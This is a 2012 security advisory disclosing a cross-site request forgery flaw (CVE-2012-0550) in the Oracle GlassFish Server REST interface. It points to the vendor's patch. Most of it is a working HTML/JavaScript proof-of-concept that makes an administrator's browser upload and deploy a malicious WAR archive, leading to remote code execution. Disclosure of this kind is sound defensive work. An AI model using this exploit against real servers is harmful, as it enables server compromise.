Details

Vendor Site: Oracle (www.oracle.com)
Date: April, 19th 2012 – CVE 2012-0550
Affected Software: Oracle GlassFish Server 3.1.1 (build 12)
Researcher: Roberto Suggi Liverani
PDF version: http://www.security-assessment.com/files/documents/advisory/Oracle_GlassFish_Server_REST_CSRF.pdf


Description

Security-Assessment.com has discovered that the Oracle GlassFish Server REST interface is vulnerable to Cross
Site Request Forgery  (CSRF) attacks. Although the javax.faces.ViewState is employed in the standard web administrative interface and it prevents such attacks, the REST interface remains vulnerable, as shown in the Proof-of-Concept (PoC) below.

Exploitation 

Cross Site Request Forgery attacks can target different functionality within an application. In this case, as an example, it is possible to force an authenticated administrator user into uploading an arbitrary WAR archive, which can be used to gain remote code execution on the server running the Oracle GlassFish Server application.

The Proof-of-Concept (PoC) below has been successfully tested with Firefox 8.0.1 and Chrome 15.0.874.121 with Basic Authentication enabled.

Arbitrary WAR Archive File Upload – CSRF PoC

<h1>Oracle GlassFish Server 3.1.1 (build 12) - CSRF arbitrary file upload</h1>by Roberto Suggi Liverani - Security-Assessment.com
 
  
This is a Proof-of-Concept - the start() function can be invoked automatically.
 
  
The CSRF upload technique used in this case is a slight variation of the technique demonstrated here: 
http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html
 
  
Other pieces of code were taken from: http://hublog.hubmed.org/archives/001941.html
 
  
<button id="upload" onclick="start()" type="button">Upload WAR Archive</button> 
<script>
  
var logUrl = 'http://glassfishserver/management/domain/applications/application'; 
  
function fileUpload(fileData, fileName) { 
    var fileSize = fileData.length, 
      boundary = "---------------------------270883142628617", 
      uri = logUrl, 
      xhr = new XMLHttpRequest(); 
  
    var additionalFields = { 
          asyncreplication: "true", 
          availabilityenabled: "false", 
          contextroot: "", 
        createtables: "true", 
        dbvendorname: "", 
        deploymentplan: "", 
        description: "", 
        dropandcreatetables: "true", 
        enabled: "true", 
        force: "false", 
        generatermistubs: "false", 
        isredeploy: "false", 
        keepfailedstubs: "false", 
        keepreposdir: "false", 
        keepstate: "true", 
        lbenabled: "true", 
        libraries: "", 
        logReportedErrors: "true", 
        name: "", 
        precompilejsp: "false", 
        properties: "", 
        property: "", 
        retrieve: "", 
        target: "", 
        type: "", 
        uniquetablenames: "true", 
        verify: "false", 
        virtualservers: "", 
        __remove_empty_entries__: "true" 
          
    } 
      
    if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4 
    var tmp = ''; 
    for (var i = 0; i < fileData.length; i++) tmp += 
String.fromCharCode(fileData.charCodeAt(i) & 0xff); 
    fileData = tmp; 
  } 
  else { // Chrome 9 
    // http://javascript0.org/wiki/Portable_sendAsBinary 
    XMLHttpRequest.prototype.sendAsBinary = function(text){ 
      var data = new ArrayBuffer(text.length); 
      var ui8a = new Uint8Array(data, 0); 
      for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff); 
  
      var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)(); 
  
      bb.append(data); 
      var blob = bb.getBlob(); 
      this.send(blob); 
    
    } 
  } 
    var fileFieldName = "id"; 
    xhr.open("POST", uri, true); 
    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a 
file MIME POST request. 
    xhr.setRequestHeader("Content-Length", fileSize); 
    xhr.withCredentials = "true"; 
    xhr.onreadystatechange = function() { 
      if (xhr.readyState == 4) { 
        if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) { 
            
          if (xhr.responseText != "") { 
            alert(JSON.parse(xhr.responseText).msg);  
          } 
        } else if (xhr.status == 0) { 
            
        } 
      } 
    } 
      
    var body = ""; 
      
    for (var i in additionalFields) { 
      if (additionalFields.hasOwnProperty(i)) { 
        body += addField(i, additionalFields[i], boundary); 
      } 
    } 
  
    body += addFileField(fileFieldName, fileData, fileName, boundary); 
    body += "--" + boundary + "--"; 
    xhr.sendAsBinary(body); 
    return true; 
} 
  
function addField(name, value, boundary) { 
  var c = "--" + boundary + "\r\n" 
  c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n'; 
  c += value + "\r\n"; 
  return c; 
} 
  
function addFileField(name, value, filename, boundary) { 
    var c = "--" + boundary + "\r\n" 
    c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n'; 
    c += "Content-Type: application/octet-stream\r\n\r\n"; 
    c += value + "\r\n"; 
    return c;   
} 
  
function getBinary(file){ 
  var xhr = new XMLHttpRequest();   
  xhr.open("GET", file, false);   
  xhr.overrideMimeType("text/plain; charset=x-user-defined");   
  xhr.send(null); 
  return xhr.responseText; 
} 
  
function readBinary(data) { 
  
var tmp = ''; 
    for (var i = 0; i < data.length; i++) tmp += String.fromCharCode(data.charCodeAt(i) & 
0xff); 
    data = tmp; 
    return tmp; 
    } 
  
function start() { 
  var c = getBinary('maliciousarchive.war'); 
  fileUpload(c, "maliciousarchive.war"); 
    
} 
</script> 

Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - April 2012.

Security-Assessment.com recommends applying the latest patch provided by the vendor. For more information, visit: http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html